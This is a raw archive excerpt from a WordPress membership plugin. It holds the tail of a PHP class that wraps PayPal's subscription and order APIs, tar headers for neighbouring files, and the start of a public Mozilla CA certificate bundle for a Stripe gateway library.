false; } } /* * Creates a PayPal product so it can be used with a subscription plan. */ public function create_paypal_product_for_plan( $params ){ $endpoint = '/v1/catalogs/products'; $response = $this->paypal_req_api->post($endpoint, $params); if ( $response !== false){ //Response is a success! $created_product_id = $response->id; return $created_product_id; } else { return false; } } /* * Gets a list of all the existing paypal billing plans. * @return - an array of plans object on success. false on error. */ public function get_paypal_billing_plans_list(){ $endpoint = '/v1/billing/plans'; $params = array(); $response = $this->paypal_req_api->get($endpoint, $params); if ( $response !== false){ $plans = $response->plans; //foreach($plans as $plan){ // echo '<br />Plan ID: ' . $plan->id; //} return $plans; } else { return false; } } /* * Show the details of an existing paypal billing plan. * https://developer.paypal.com/docs/api/subscriptions/v1/#plans_get */ public function get_paypal_billing_plan_details( $plan_id ){ $endpoint = '/v1/billing/plans/' . $plan_id; $params = array(); $response = $this->paypal_req_api->get($endpoint, $params); if ( $response !== false){ $plan_details = $response; //echo '<br />Plan ID: ' . $plan_details->id; //echo '<br />Product ID: ' . $plan_details->product_id; return $plan_details; } else { return false; } } /* * Creates a PayPal billing plan for subscription. */ public function create_paypal_billing_plan( $params ){ $endpoint = '/v1/billing/plans'; $response = $this->paypal_req_api->post($endpoint, $params); if ( $response !== false){ //Response is a success! $created_plan_id = $response->id; //echo '<br />Plan ID: ' . $created_plan_id; //echo '<br />Plan Name: ' . $response->name; return $created_plan_id; } else { return false; } } /* * Creates a PayPal subscription for a user (for the given plan_id). */ public function create_paypal_subscription_for_billing_plan( $plan_id, $data = array(), $additional_args = array()){ //https://developer.paypal.com/docs/api/subscriptions/v1/#subscriptions_create $endpoint = '/v1/billing/subscriptions'; $params = array( 'plan_id' => $plan_id, 'application_context' => array( 'user_action' => 'SUBSCRIBE_NOW', //SUBSCRIBE_NOW will activate the subscription immediately. 'payment_method' => array( 'payer_selected' => 'PAYPAL', 'payee_preferred' => 'IMMEDIATE_PAYMENT_REQUIRED', ), ), ); //Simple params (useulf for testing) // $params = array( // 'plan_id' => $plan_id // ); //Do the API call. $response = $this->paypal_req_api->post($endpoint, $params, $additional_args); //Check if we need to return the body or raw response instead of just the order ID. if( isset($additional_args['return_raw_response']) || isset( $additional_args['return_response_body'] ) ){ //Instead of just the subscription ID; return the raw response or the response body (that came back from the post method) return $response; } //Return the standard response. if ( $response !== false){ //Response is a success! //JSON decode the response body to an object. $json_response_body = json_decode( wp_remote_retrieve_body( $response ) ); $created_sub_id = $json_response_body->id; SwpmLog::log_simple_debug('Create-subscription response. Subscription ID: '. $created_sub_id, true); return $created_sub_id; } else { //There was a WP Error with the remote request. Enable debug logging to get more details from the log file. return false; } } /* * Show the details of a paypal subscription. * https://developer.paypal.com/docs/api/subscriptions/v1/#subscriptions_get */ public function get_paypal_subscription_details( $sub_id ){ $endpoint = '/v1/billing/subscriptions/' . $sub_id; $params = array(); $response = $this->paypal_req_api->get($endpoint, $params); if ( $response !== false){ $sub_details = $response; //$sub_details->billing_info contains the useful info //https://developer.paypal.com/docs/api/subscriptions/v1/#definition-subscription_billing_info return $sub_details; } else { return false; } } /* * Gets a list of all the transactions of a paypal subscription. * @return - an array of transactions object on success. */ public function get_paypal_subscription_transactions_list( $sub_id, $start_time, $end_time = '' ){ //https://developer.paypal.com/docs/api/subscriptions/v1/#subscriptions_transactions $endpoint = '/v1/billing/subscriptions/'.$sub_id.'/transactions'; //If end_time is not provided, then use the current time. if( empty($end_time) ){ $end_time = date('c');//Current time in ISO 8601 format (Example: 2024-02-27T03:28:34+00:00) } $params = array( 'start_time' => $start_time, 'end_time' => $end_time, ); //Do the API call. $response = $this->paypal_req_api->get($endpoint, $params); if ( $response !== false){ //Get the array of transactions. $transactions = $response->transactions; // foreach($transactions as $txn){ // echo '<br />Txn ID: ' . $txn->id; // } return $transactions; } else { return false; } } /* * Cancel a paypal subscription (for the given subscription ID). * https://developer.paypal.com/docs/api/subscriptions/v1/#subscriptions_cancel */ public function cancel_paypal_subscription( $sub_id ){ $endpoint = '/v1/billing/subscriptions/' . $sub_id . '/cancel'; //A successful cancel request returns the HTTP '204 No Content' status code with no JSON response body. //We need to setup the additional args to return the raw response (so the post function doesn't try to process the response using the usual method). $additional_args = array('return_raw_response' => true); //We also need to pass the reason for the cancellation. $params = array('reason' => 'User requested to cancel the subscription.'); //Do the API call. $response = $this->paypal_req_api->post($endpoint, $params, $additional_args); if(isset($response['response']['code']) && $response['response']['code'] == 204){ //The subscription was successfully cancelled. return true; } else { //Failed to cancel the subscription. return false; } } /* * Show the details of a paypal order/transaction. * https://developer.paypal.com/docs/api/orders/v2/#orders_get */ public function get_paypal_order_details( $order_id ){ $endpoint = '/v2/checkout/orders/' . $order_id; $params = array(); $response = $this->paypal_req_api->get($endpoint, $params); if ( $response !== false){ $order_details = $response; //https://developer.paypal.com/docs/api/orders/v2/#orders-get-response return $order_details; } else { return false; } } /* * Creates a PayPal order. Returns the order ID if successful. * The $additional_args array can be used to pass additional arguments to the function to return the raw response or response body. */ public function create_paypal_order_by_url_and_args( $data, $additional_args = array()){ $payment_amount = isset($data['payment_amount']) ? $data['payment_amount'] : ''; $quantity = isset($data['quantity']) ? $data['quantity'] : 1; $currency = isset($data['currency']) ? $data['currency'] : 'USD'; $item_name = isset($data['item_name']) ? $data['item_name'] : ''; $digital_goods_enabled = isset($data['digital_goods_enabled']) ? $data['digital_goods_enabled'] : 1; //https://developer.paypal.com/docs/api/orders/v2/#orders_create $order_data = [ "intent" => "CAPTURE", "purchase_units" => [ [ "amount" => [ "value" => $payment_amount, "currency_code" => $currency, "breakdown" => [ "item_total" => [ "currency_code" => $currency, "value" => $payment_amount * $quantity, ] ] ], "items" => [ [ "name" => $item_name, "quantity" => $quantity, "category" => $digital_goods_enabled ? "DIGITAL_GOODS" : "PHYSICAL_GOODS", "unit_amount" => [ "value" => $payment_amount, "currency_code" => $currency, ] ] ], "description" => $item_name, ] ] ]; //A simple order data for testing // $order_data = [ // "intent" => "CAPTURE", // "purchase_units" => [ // [ // amount => [ // currency_code => "USD", // value => "100.00", // ], // ], // ], // ]; //Get the environment mode. $environment_mode = SWPM_PayPal_Utility_Functions::get_api_environment_mode_from_settings(); //Get the bearer/access token. $bearer = SWPM_PayPal_Bearer::get_instance(); $bearer_token = $bearer->get_bearer_token( $environment_mode ); $access_token = $bearer_token; //Args $args = array( 'method' => 'POST', 'headers' => array( 'Authorization' => 'Bearer ' . $access_token, 'Content-Type' => 'application/json', 'PayPal-Partner-Attribution-Id' => 'TipsandTricks_SP_PPCP', ), ); $args['body'] = wp_json_encode( $order_data ); //PayPal create-order using URL and Args //Get the API base URL. $api_base_url = SWPM_PayPal_Utility_Functions::get_api_base_url_by_environment_mode( $environment_mode ); $url = trailingslashit( $api_base_url ) . 'v2/checkout/orders'; SwpmLog::log_simple_debug('Executing order create (v2/checkout/orders) using URL and args.', true); $response = SWPM_PayPal_Request_API::send_request_by_url_and_args( $url, $args ); //Check if we need to return the body or raw response instead of just the order ID. if( isset($additional_args['return_raw_response']) && $additional_args['return_raw_response'] ){ //Return the raw response instead of just the order ID. return $response; } else if ( isset( $additional_args['return_response_body'] ) && $additional_args['return_response_body'] ){ //Return the response body instead of just the order ID. return wp_remote_retrieve_body( $response ); } //Return the standard response. if ( $response !== false){ //Response is a success! $json_response_body = json_decode( wp_remote_retrieve_body( $response ) ); $created_order_id = $json_response_body->id; SwpmLog::log_simple_debug('Order-create response. Order ID: '. $created_order_id, true); return $created_order_id; } else { //There was a WP Error with the remote request. Enable debug logging to get more details from the log file. return false; } } public function capture_paypal_order( $order_id, $additional_args = array() ){ if( empty($order_id) ){ SwpmLog::log_simple_debug('Empty PayPal order ID received. cannot process this request.', false); return false; } $order_data = array( 'order_id' => $order_id ); //For the capture request, we need to pass the PayPal-Request-Id header. $additional_args['PayPal-Request-Id'] = $order_id; //https://developer.paypal.com/docs/api/orders/v2/#orders_capture $endpoint = '/v2/checkout/orders/' . $order_id . '/capture'; $response = $this->paypal_req_api->post($endpoint, $order_data, $additional_args); //Check if we need to return the raw response or body (set in additional args). if( isset($additional_args['return_raw_response']) || $additional_args['return_response_body'] ){ //Return whatever we got from the API call according to the additional args. return $response; } //Return the standard response. if ( $response !== false){ //Response is a success! $capture_id = $response->id;//Capture ID/Transaction ID. return $capture_id; } else { //Failed to capture the order. The process_request_result() function has debug lines to reveal more details. return false; } } } �������������������������������������������������������������������������������������������������������paypal/index.html�����������������������������������������������������������������������������������0000644�����������������00000000000�14720677707�0010036 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/VERSION������������������������������������������������������������������������������0000644�����������������00000000007�14720677707�0010577 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������15.4.0 �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/data/ca-certificates.crt�������������������������������������������������������������0000644�����������������00000644470�14720677707�0014222 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������## ## Bundle of CA Root Certificates ## ## Certificate data from Mozilla as of: Tue Apr 26 03:12:05 2022 GMT ## ## This is a bundle of X.509 certificates of public Certificate Authorities ## (CA). These were automatically extracted from Mozilla's root certificates ## file (certdata.txt). This file can be found in the mozilla source tree: ## https://hg.mozilla.org/releases/mozilla-release/raw-file/default/security/nss/lib/ckfw/builtins/certdata.txt ## ## It contains the certificates in PEM format and therefore ## can be directly used with curl / libcurl / php_curl, or with ## an Apache+mod_ssl webserver for SSL client authentication. ## Just configure this file as the SSLCACertificateFile. ## ## Conversion done with mk-ca-bundle.pl version 1.29. ## SHA256: 34a54d5191775c1bd37be6cfd3f09e831e072555dc3a2e51f4a2c4b0f8ada5cc ## GlobalSign Root CA ================== -----BEGIN CERTIFICATE----- MIIDdTCCAl2gAwIBAgILBAAAAAABFUtaw5QwDQYJKoZIhvcNAQEFBQAwVzELMAkGA1UEBhMCQkUx GTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYtc2ExEDAOBgNVBAsTB1Jvb3QgQ0ExGzAZBgNVBAMTEkds b2JhbFNpZ24gUm9vdCBDQTAeFw05ODA5MDExMjAwMDBaFw0yODAxMjgxMjAwMDBaMFcxCzAJBgNV BAYTAkJFMRkwFwYDVQQKExBHbG9iYWxTaWduIG52LXNhMRAwDgYDVQQLEwdSb290IENBMRswGQYD VQQDExJHbG9iYWxTaWduIFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDa DuaZjc6j40+Kfvvxi4Mla+pIH/EqsLmVEQS98GPR4mdmzxzdzxtIK+6NiY6arymAZavpxy0Sy6sc THAHoT0KMM0VjU/43dSMUBUc71DuxC73/OlS8pF94G3VNTCOXkNz8kHp1Wrjsok6Vjk4bwY8iGlb Kk3Fp1S4bInMm/k8yuX9ifUSPJJ4ltbcdG6TRGHRjcdGsnUOhugZitVtbNV4FpWi6cgKOOvyJBNP c1STE4U6G7weNLWLBYy5d4ux2x8gkasJU26Qzns3dLlwR5EiUWMWea6xrkEmCMgZK9FGqkjWZCrX gzT/LCrBbBlDSgeF59N89iFo7+ryUp9/k5DPAgMBAAGjQjBAMA4GA1UdDwEB/wQEAwIBBjAPBgNV HRMBAf8EBTADAQH/MB0GA1UdDgQWBBRge2YaRQ2XyolQL30EzTSo//z9SzANBgkqhkiG9w0BAQUF AAOCAQEA1nPnfE920I2/7LqivjTFKDK1fPxsnCwrvQmeU79rXqoRSLblCKOzyj1hTdNGCbM+w6Dj Y1Ub8rrvrTnhQ7k4o+YviiY776BQVvnGCv04zcQLcFGUl5gE38NflNUVyRRBnMRddWQVDf9VMOyG j/8N7yy5Y0b2qvzfvGn9LhJIZJrglfCm7ymPAbEVtQwdpf5pLGkkeB6zpxxxYu7KyJesF12KwvhH hm4qxFYxldBniYUr+WymXUadDKqC5JlR3XC321Y9YeRq4VzW9v493kHMB65jUr9TU/Qr6cf9tveC X4XSQRjbgbMEHMUfpIBvFSDJ3gyICh3WZlXi/EjJKSZp4A== -----END CERTIFICATE----- Entrust.net Premium 2048 Secure Server CA ========================================= -----BEGIN CERTIFICATE----- MIIEKjCCAxKgAwIBAgIEOGPe+DANBgkqhkiG9w0BAQUFADCBtDEUMBIGA1UEChMLRW50cnVzdC5u ZXQxQDA+BgNVBAsUN3d3dy5lbnRydXN0Lm5ldC9DUFNfMjA0OCBpbmNvcnAuIGJ5IHJlZi4gKGxp bWl0cyBsaWFiLikxJTAjBgNVBAsTHChjKSAxOTk5IEVudHJ1c3QubmV0IExpbWl0ZWQxMzAxBgNV BAMTKkVudHJ1c3QubmV0IENlcnRpZmljYXRpb24gQXV0aG9yaXR5ICgyMDQ4KTAeFw05OTEyMjQx NzUwNTFaFw0yOTA3MjQxNDE1MTJaMIG0MRQwEgYDVQQKEwtFbnRydXN0Lm5ldDFAMD4GA1UECxQ3 d3d3LmVudHJ1c3QubmV0L0NQU18yMDQ4IGluY29ycC4gYnkgcmVmLiAobGltaXRzIGxpYWIuKTEl MCMGA1UECxMcKGMpIDE5OTkgRW50cnVzdC5uZXQgTGltaXRlZDEzMDEGA1UEAxMqRW50cnVzdC5u ZXQgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgKDIwNDgpMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A MIIBCgKCAQEArU1LqRKGsuqjIAcVFmQqK0vRvwtKTY7tgHalZ7d4QMBzQshowNtTK91euHaYNZOL Gp18EzoOH1u3Hs/lJBQesYGpjX24zGtLA/ECDNyrpUAkAH90lKGdCCmziAv1h3edVc3kw37XamSr hRSGlVuXMlBvPci6Zgzj/L24ScF2iUkZ/cCovYmjZy/Gn7xxGWC4LeksyZB2ZnuU4q941mVTXTzW nLLPKQP5L6RQstRIzgUyVYr9smRMDuSYB3Xbf9+5CFVghTAp+XtIpGmG4zU/HoZdenoVve8AjhUi VBcAkCaTvA5JaJG/+EfTnZVCwQ5N328mz8MYIWJmQ3DW1cAH4QIDAQABo0IwQDAOBgNVHQ8BAf8E BAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUVeSB0RGAvtiJuQijMfmhJAkWuXAwDQYJ KoZIhvcNAQEFBQADggEBADubj1abMOdTmXx6eadNl9cZlZD7Bh/KM3xGY4+WZiT6QBshJ8rmcnPy T/4xmf3IDExoU8aAghOY+rat2l098c5u9hURlIIM7j+VrxGrD9cv3h8Dj1csHsm7mhpElesYT6Yf zX1XEC+bBAlahLVu2B064dae0Wx5XnkcFMXj0EyTO2U87d89vqbllRrDtRnDvV5bu/8j72gZyxKT J1wDLW8w0B62GqzeWvfRqqgnpv55gcR5mTNXuhKwqeBCbJPKVt7+bYQLCIt+jerXmCHG8+c8eS9e nNFMFY3h7CI3zJpDC5fcgJCNs2ebb0gIFVbPv/ErfF6adulZkMV8gzURZVE= -----END CERTIFICATE----- Baltimore CyberTrust Root ========================= -----BEGIN CERTIFICATE----- MIIDdzCCAl+gAwIBAgIEAgAAuTANBgkqhkiG9w0BAQUFADBaMQswCQYDVQQGEwJJRTESMBAGA1UE ChMJQmFsdGltb3JlMRMwEQYDVQQLEwpDeWJlclRydXN0MSIwIAYDVQQDExlCYWx0aW1vcmUgQ3li ZXJUcnVzdCBSb290MB4XDTAwMDUxMjE4NDYwMFoXDTI1MDUxMjIzNTkwMFowWjELMAkGA1UEBhMC SUUxEjAQBgNVBAoTCUJhbHRpbW9yZTETMBEGA1UECxMKQ3liZXJUcnVzdDEiMCAGA1UEAxMZQmFs dGltb3JlIEN5YmVyVHJ1c3QgUm9vdDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKME uyKrmD1X6CZymrV51Cni4eiVgLGw41uOKymaZN+hXe2wCQVt2yguzmKiYv60iNoS6zjrIZ3AQSsB UnuId9Mcj8e6uYi1agnnc+gRQKfRzMpijS3ljwumUNKoUMMo6vWrJYeKmpYcqWe4PwzV9/lSEy/C G9VwcPCPwBLKBsua4dnKM3p31vjsufFoREJIE9LAwqSuXmD+tqYF/LTdB1kC1FkYmGP1pWPgkAx9 XbIGevOF6uvUA65ehD5f/xXtabz5OTZydc93Uk3zyZAsuT3lySNTPx8kmCFcB5kpvcY67Oduhjpr l3RjM71oGDHweI12v/yejl0qhqdNkNwnGjkCAwEAAaNFMEMwHQYDVR0OBBYEFOWdWTCCR1jMrPoI VDaGezq1BE3wMBIGA1UdEwEB/wQIMAYBAf8CAQMwDgYDVR0PAQH/BAQDAgEGMA0GCSqGSIb3DQEB BQUAA4IBAQCFDF2O5G9RaEIFoN27TyclhAO992T9Ldcw46QQF+vaKSm2eT929hkTI7gQCvlYpNRh cL0EYWoSihfVCr3FvDB81ukMJY2GQE/szKN+OMY3EU/t3WgxjkzSswF07r51XgdIGn9w/xZchMB5 hbgF/X++ZRGjD8ACtPhSNzkE1akxehi/oCr0Epn3o0WC4zxe9Z2etciefC7IpJ5OCBRLbf1wbWsa Y71k5h+3zvDyny67G7fyUIhzksLi4xaNmjICq44Y3ekQEe5+NauQrz4wlHrQMz2nZQ/1/I6eYs9H RCwBXbsdtTLSR9I4LtD+gdwyah617jzV/OeBHRnDJELqYzmp -----END CERTIFICATE----- Entrust Root Certification Authority ==================================== -----BEGIN CERTIFICATE----- MIIEkTCCA3mgAwIBAgIERWtQVDANBgkqhkiG9w0BAQUFADCBsDELMAkGA1UEBhMCVVMxFjAUBgNV BAoTDUVudHJ1c3QsIEluYy4xOTA3BgNVBAsTMHd3dy5lbnRydXN0Lm5ldC9DUFMgaXMgaW5jb3Jw b3JhdGVkIGJ5IHJlZmVyZW5jZTEfMB0GA1UECxMWKGMpIDIwMDYgRW50cnVzdCwgSW5jLjEtMCsG A1UEAxMkRW50cnVzdCBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTA2MTEyNzIwMjM0 MloXDTI2MTEyNzIwNTM0MlowgbAxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1FbnRydXN0LCBJbmMu MTkwNwYDVQQLEzB3d3cuZW50cnVzdC5uZXQvQ1BTIGlzIGluY29ycG9yYXRlZCBieSByZWZlcmVu Y2UxHzAdBgNVBAsTFihjKSAyMDA2IEVudHJ1c3QsIEluYy4xLTArBgNVBAMTJEVudHJ1c3QgUm9v dCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB ALaVtkNC+sZtKm9I35RMOVcF7sN5EUFoNu3s/poBj6E4KPz3EEZmLk0eGrEaTsbRwJWIsMn/MYsz A9u3g3s+IIRe7bJWKKf44LlAcTfFy0cOlypowCKVYhXbR9n10Cv/gkvJrT7eTNuQgFA/CYqEAOww Cj0Yzfv9KlmaI5UXLEWeH25DeW0MXJj+SKfFI0dcXv1u5x609mhF0YaDW6KKjbHjKYD+JXGIrb68 j6xSlkuqUY3kEzEZ6E5Nn9uss2rVvDlUccp6en+Q3X0dgNmBu1kmwhH+5pPi94DkZfs0Nw4pgHBN rziGLp5/V6+eF67rHMsoIV+2HNjnogQi+dPa2MsCAwEAAaOBsDCBrTAOBgNVHQ8BAf8EBAMCAQYw DwYDVR0TAQH/BAUwAwEB/zArBgNVHRAEJDAigA8yMDA2MTEyNzIwMjM0MlqBDzIwMjYxMTI3MjA1 MzQyWjAfBgNVHSMEGDAWgBRokORnpKZTgMeGZqTx90tD+4S9bTAdBgNVHQ4EFgQUaJDkZ6SmU4DH hmak8fdLQ/uEvW0wHQYJKoZIhvZ9B0EABBAwDhsIVjcuMTo0LjADAgSQMA0GCSqGSIb3DQEBBQUA A4IBAQCT1DCw1wMgKtD5Y+iRDAUgqV8ZyntyTtSx29CW+1RaGSwMCPeyvIWonX9tO1KzKtvn1ISM Y/YPyyYBkVBs9F8U4pN0wBOeMDpQ47RgxRzwIkSNcUesyBrJ6ZuaAGAT/3B+XxFNSRuzFVJ7yVTa v52Vr2ua2J7p8eRDjeIRRDq/r72DQnNSi6q7pynP9WQcCk3RvKqsnyrQ/39/2n3qse0wJcGE2jTS W3iDVuycNsMm4hH2Z0kdkquM++v/eu6FSqdQgPCnXEqULl8FmTxSQeDNtGPPAUO6nIPcj2A781q0 tHuu2guQOHXvgR1m0vdXcDazv/wor3ElhVsT/h5/WrQ8 -----END CERTIFICATE----- Comodo AAA Services root ======================== -----BEGIN CERTIFICATE----- MIIEMjCCAxqgAwIBAgIBATANBgkqhkiG9w0BAQUFADB7MQswCQYDVQQGEwJHQjEbMBkGA1UECAwS R3JlYXRlciBNYW5jaGVzdGVyMRAwDgYDVQQHDAdTYWxmb3JkMRowGAYDVQQKDBFDb21vZG8gQ0Eg TGltaXRlZDEhMB8GA1UEAwwYQUFBIENlcnRpZmljYXRlIFNlcnZpY2VzMB4XDTA0MDEwMTAwMDAw MFoXDTI4MTIzMTIzNTk1OVowezELMAkGA1UEBhMCR0IxGzAZBgNVBAgMEkdyZWF0ZXIgTWFuY2hl c3RlcjEQMA4GA1UEBwwHU2FsZm9yZDEaMBgGA1UECgwRQ29tb2RvIENBIExpbWl0ZWQxITAfBgNV BAMMGEFBQSBDZXJ0aWZpY2F0ZSBTZXJ2aWNlczCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC ggEBAL5AnfRu4ep2hxxNRUSOvkbIgwadwSr+GB+O5AL686tdUIoWMQuaBtDFcCLNSS1UY8y2bmhG C1Pqy0wkwLxyTurxFa70VJoSCsN6sjNg4tqJVfMiWPPe3M/vg4aijJRPn2jymJBGhCfHdr/jzDUs i14HZGWCwEiwqJH5YZ92IFCokcdmtet4YgNW8IoaE+oxox6gmf049vYnMlhvB/VruPsUK6+3qszW Y19zjNoFmag4qMsXeDZRrOme9Hg6jc8P2ULimAyrL58OAd7vn5lJ8S3frHRNG5i1R8XlKdH5kBjH Ypy+g8cmez6KJcfA3Z3mNWgQIJ2P2N7Sw4ScDV7oL8kCAwEAAaOBwDCBvTAdBgNVHQ4EFgQUoBEK Iz6W8Qfs4q8p74Klf9AwpLQwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wewYDVR0f BHQwcjA4oDagNIYyaHR0cDovL2NybC5jb21vZG9jYS5jb20vQUFBQ2VydGlmaWNhdGVTZXJ2aWNl cy5jcmwwNqA0oDKGMGh0dHA6Ly9jcmwuY29tb2RvLm5ldC9BQUFDZXJ0aWZpY2F0ZVNlcnZpY2Vz LmNybDANBgkqhkiG9w0BAQUFAAOCAQEACFb8AvCb6P+k+tZ7xkSAzk/ExfYAWMymtrwUSWgEdujm 7l3sAg9g1o1QGE8mTgHj5rCl7r+8dFRBv/38ErjHT1r0iWAFf2C3BUrz9vHCv8S5dIa2LX1rzNLz Rt0vxuBqw8M0Ayx9lt1awg6nCpnBBYurDC/zXDrPbDdVCYfeU0BsWO/8tqtlbgT2G9w84FoVxp7Z 8VlIMCFlA2zs6SFz7JsDoeA3raAVGI/6ugLOpyypEBMs1OUIJqsil2D4kF501KKaU73yqWjgom7C 12yxow+ev+to51byrvLjKzg6CYG1a4XXvi3tPxq3smPi9WIsgtRqAEFQ8TmDn5XpNpaYbg== -----END CERTIFICATE----- QuoVadis Root CA 2 ================== -----BEGIN CERTIFICATE----- MIIFtzCCA5+gAwIBAgICBQkwDQYJKoZIhvcNAQEFBQAwRTELMAkGA1UEBhMCQk0xGTAXBgNVBAoT EFF1b1ZhZGlzIExpbWl0ZWQxGzAZBgNVBAMTElF1b1ZhZGlzIFJvb3QgQ0EgMjAeFw0wNjExMjQx ODI3MDBaFw0zMTExMjQxODIzMzNaMEUxCzAJBgNVBAYTAkJNMRkwFwYDVQQKExBRdW9WYWRpcyBM aW1pdGVkMRswGQYDVQQDExJRdW9WYWRpcyBSb290IENBIDIwggIiMA0GCSqGSIb3DQEBAQUAA4IC DwAwggIKAoICAQCaGMpLlA0ALa8DKYrwD4HIrkwZhR0In6spRIXzL4GtMh6QRr+jhiYaHv5+HBg6 XJxgFyo6dIMzMH1hVBHL7avg5tKifvVrbxi3Cgst/ek+7wrGsxDp3MJGF/hd/aTa/55JWpzmM+Yk lvc/ulsrHHo1wtZn/qtmUIttKGAr79dgw8eTvI02kfN/+NsRE8Scd3bBrrcCaoF6qUWD4gXmuVbB lDePSHFjIuwXZQeVikvfj8ZaCuWw419eaxGrDPmF60Tp+ARz8un+XJiM9XOva7R+zdRcAitMOeGy lZUtQofX1bOQQ7dsE/He3fbE+Ik/0XX1ksOR1YqI0JDs3G3eicJlcZaLDQP9nL9bFqyS2+r+eXyt 66/3FsvbzSUr5R/7mp/iUcw6UwxI5g69ybR2BlLmEROFcmMDBOAENisgGQLodKcftslWZvB1Jdxn wQ5hYIizPtGo/KPaHbDRsSNU30R2be1B2MGyIrZTHN81Hdyhdyox5C315eXbyOD/5YDXC2Og/zOh D7osFRXql7PSorW+8oyWHhqPHWykYTe5hnMz15eWniN9gqRMgeKh0bpnX5UHoycR7hYQe7xFSkyy BNKr79X9DFHOUGoIMfmR2gyPZFwDwzqLID9ujWc9Otb+fVuIyV77zGHcizN300QyNQliBJIWENie J0f7OyHj+OsdWwIDAQABo4GwMIGtMA8GA1UdEwEB/wQFMAMBAf8wCwYDVR0PBAQDAgEGMB0GA1Ud DgQWBBQahGK8SEwzJQTU7tD2A8QZRtGUazBuBgNVHSMEZzBlgBQahGK8SEwzJQTU7tD2A8QZRtGU a6FJpEcwRTELMAkGA1UEBhMCQk0xGTAXBgNVBAoTEFF1b1ZhZGlzIExpbWl0ZWQxGzAZBgNVBAMT ElF1b1ZhZGlzIFJvb3QgQ0EgMoICBQkwDQYJKoZIhvcNAQEFBQADggIBAD4KFk2fBluornFdLwUv Z+YTRYPENvbzwCYMDbVHZF34tHLJRqUDGCdViXh9duqWNIAXINzng/iN/Ae42l9NLmeyhP3ZRPx3 UIHmfLTJDQtyU/h2BwdBR5YM++CCJpNVjP4iH2BlfF/nJrP3MpCYUNQ3cVX2kiF495V5+vgtJodm VjB3pjd4M1IQWK4/YY7yarHvGH5KWWPKjaJW1acvvFYfzznB4vsKqBUsfU16Y8Zsl0Q80m/DShcK +JDSV6IZUaUtl0HaB0+pUNqQjZRG4T7wlP0QADj1O+hA4bRuVhogzG9Yje0uRY/W6ZM/57Es3zrW IozchLsib9D45MY56QSIPMO661V6bYCZJPVsAfv4l7CUW+v90m/xd2gNNWQjrLhVoQPRTUIZ3Ph1 WVaj+ahJefivDrkRoHy3au000LYmYjgahwz46P0u05B/B5EqHdZ+XIWDmbA4CD/pXvk1B+TJYm5X f6dQlfe6yJvmjqIBxdZmv3lh8zwc4bmCXF2gw+nYSL0ZohEUGW6yhhtoPkg3Goi3XZZenMfvJ2II 4pEZXNLxId26F0KCl3GBUzGpn/Z9Yr9y4aOTHcyKJloJONDO1w2AFrR4pTqHTI2KpdVGl/IsELm8 VCLAAVBpQ570su9t+Oza8eOx79+Rj1QqCyXBJhnEUhAFZdWCEOrCMc0u -----END CERTIFICATE----- QuoVadis Root CA 3 ================== -----BEGIN CERTIFICATE----- MIIGnTCCBIWgAwIBAgICBcYwDQYJKoZIhvcNAQEFBQAwRTELMAkGA1UEBhMCQk0xGTAXBgNVBAoT EFF1b1ZhZGlzIExpbWl0ZWQxGzAZBgNVBAMTElF1b1ZhZGlzIFJvb3QgQ0EgMzAeFw0wNjExMjQx OTExMjNaFw0zMTExMjQxOTA2NDRaMEUxCzAJBgNVBAYTAkJNMRkwFwYDVQQKExBRdW9WYWRpcyBM aW1pdGVkMRswGQYDVQQDExJRdW9WYWRpcyBSb290IENBIDMwggIiMA0GCSqGSIb3DQEBAQUAA4IC DwAwggIKAoICAQDMV0IWVJzmmNPTTe7+7cefQzlKZbPoFog02w1ZkXTPkrgEQK0CSzGrvI2RaNgg DhoB4hp7Thdd4oq3P5kazethq8Jlph+3t723j/z9cI8LoGe+AaJZz3HmDyl2/7FWeUUrH556VOij KTVopAFPD6QuN+8bv+OPEKhyq1hX51SGyMnzW9os2l2ObjyjPtr7guXd8lyyBTNvijbO0BNO/79K DDRMpsMhvVAEVeuxu537RR5kFd5VAYwCdrXLoT9CabwvvWhDFlaJKjdhkf2mrk7AyxRllDdLkgbv BNDInIjbC3uBr7E9KsRlOni27tyAsdLTmZw67mtaa7ONt9XOnMK+pUsvFrGeaDsGb659n/je7Mwp p5ijJUMv7/FfJuGITfhebtfZFG4ZM2mnO4SJk8RTVROhUXhA+LjJou57ulJCg54U7QVSWllWp5f8 nT8KKdjcT5EOE7zelaTfi5m+rJsziO+1ga8bxiJTyPbH7pcUsMV8eFLI8M5ud2CEpukqdiDtWAEX MJPpGovgc2PZapKUSU60rUqFxKMiMPwJ7Wgic6aIDFUhWMXhOp8q3crhkODZc6tsgLjoC2SToJyM Gf+z0gzskSaHirOi4XCPLArlzW1oUevaPwV/izLmE1xr/l9A4iLItLRkT9a6fUg+qGkM17uGcclz uD87nSVL2v9A6wIDAQABo4IBlTCCAZEwDwYDVR0TAQH/BAUwAwEB/zCB4QYDVR0gBIHZMIHWMIHT BgkrBgEEAb5YAAMwgcUwgZMGCCsGAQUFBwICMIGGGoGDQW55IHVzZSBvZiB0aGlzIENlcnRpZmlj YXRlIGNvbnN0aXR1dGVzIGFjY2VwdGFuY2Ugb2YgdGhlIFF1b1ZhZGlzIFJvb3QgQ0EgMyBDZXJ0 aWZpY2F0ZSBQb2xpY3kgLyBDZXJ0aWZpY2F0aW9uIFByYWN0aWNlIFN0YXRlbWVudC4wLQYIKwYB 